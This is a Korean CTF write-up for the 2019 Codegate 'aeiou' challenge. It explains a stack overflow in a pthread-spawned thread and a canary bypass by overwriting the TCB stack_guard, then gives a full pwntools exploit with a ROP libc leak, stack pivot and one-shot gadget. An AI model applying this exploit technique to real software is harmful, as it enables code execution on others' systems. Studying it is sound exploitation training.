2019 Codegate aeiou
64bit 바이너리가 주어진다.
aeiou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=1c2c4b1f2f26f776c18181389463bc18024091b4, stripped
보호기법은 Full RELRO, Canary, NX가 걸려있다.
[*] '/vagrant/ctfs/aeiou'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
pthread_create
함수로 스레드 생성해서 start_routine
함수를 실행해주는 부분이다.
int sub_401507()
{
int result; // eax
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
pthread_create(&newthread, 0LL, start_routine, 0LL);
result = pthread_join(newthread, 0LL);
if ( result )
{
puts("oooooh :(");
result = 1;
}
return result;
}
pthread_create Code : Link
pthread_create Description : Link
sub_400FF5
함수를 보면 입력한 수를 atoi로 정수로 변환해서 v2에 저장한다. v2 버퍼 크기는 0x1000인데 0x1000이상을 입력할 수 있다. 또 그 크기만큼 sub_401170
함수에서 입력을 받는다. 근데 문제는 카나리가 걸려있다는 점이다.
void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Hello!");
puts("Let me know the number!");
v2 = sub_400FF5();
if ( v2 <= 65536 )
{
sub_401170(0, &s, v2);
puts("Thank You :)");
}
else
{
puts("Too much :(");
}
return 0LL;
}
pthread_create
함수에 쓰레드가 생성되면 이 쓰레드가 사용할 스택을 만들어주는데 이 쓰레드의 스택에 stack_guard
가 존재한다.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessary the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
} tcbhead_t;
TCB 구조체를 보면 stack_guard
영역은 fs:0x28
Canary 영역의 값이다. stack_guard
와 Canary랑 비교하는데 Canary를 A로 쭉 덮고 stack_guard도 A로 쭉 덮으면 SSP를 우회할 수 있다.
TCB Overwrite : Link
익스는 간단하다. Canary를 A로 쭉 덮어주고 gadget들 이용해서 libc구해준다. stack pivoting으로 oneshot 날려주면 된다.
exploit.py
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./aeiou')
p = process('./aeiou')
libc = e.libc
prdi = 0x00000000004026f3 # pop rdi ; ret
prsi_r15 = 0x00000000004026f1 # pop rsi ; pop r15 ; ret
prbp = 0x0000000000400c70 # pop rbp ; ret
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
bss = 0x00000000006040CA
leave_ret = 0x0000000000400d70 # leave ; ret
payload = 'A'*0x1008
payload += 'AAAAAAAA' # Canary
payload += 'AAAAAAAA'
payload += p64(prdi) + p64(e.got['system']) + p64(e.plt['puts'])
payload += p64(prdi) + p64(0) + p64(prsi_r15) + p64(bss) + p64(0) + p64(e.plt['read'])
payload += p64(prbp) + p64(bss-8)
payload += p64(leave_ret)
payload = payload.ljust(0x2000,'A') # Canary dup
'''
payload = 'A'*0x1008
payload += 'realsung' # Canary
payload += 'AAAAAAAA'
payload += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(prdi) + p64(0) + p64(prsi_r15) + p64(bss) + p64(0) + p64(e.plt['read'])
payload += p64(prbp) + p64(bss-8)
payload += p64(leave_ret)
payload = payload.ljust(0x17e8,'A')
payload += 'realsung' # Canary
'''
sla('>>','3')
sl(str(len(payload)))
s(payload)
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - libc.symbols['system']
log.info('libc_base : ' + hex(libc_base))
sl(p64(libc_base + 0x4526a))
p.interactive()